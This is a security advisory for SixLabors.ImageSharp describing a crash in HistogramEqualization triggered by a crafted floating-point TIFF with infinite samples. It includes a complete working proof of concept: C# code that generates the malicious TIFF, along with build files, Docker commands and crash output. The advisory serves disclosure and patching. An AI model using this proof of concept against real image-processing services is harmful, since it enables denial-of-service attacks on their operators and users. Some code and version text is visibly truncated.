GHSA-j3p4-wp97-rph4 ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index

• NuGet SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 → fixed in 3.2.0 • NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2

Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. Affected package and versions • Package: `SixLabors.ImageSharp` (NuGet) • Affected range: `>= 2.0.0, Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel= completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i image = Image.Load(tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } } ``` Project file: ```xml Exe net8.0 enable enable /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' 'net8.0' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"] ``` Run: ```sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control ```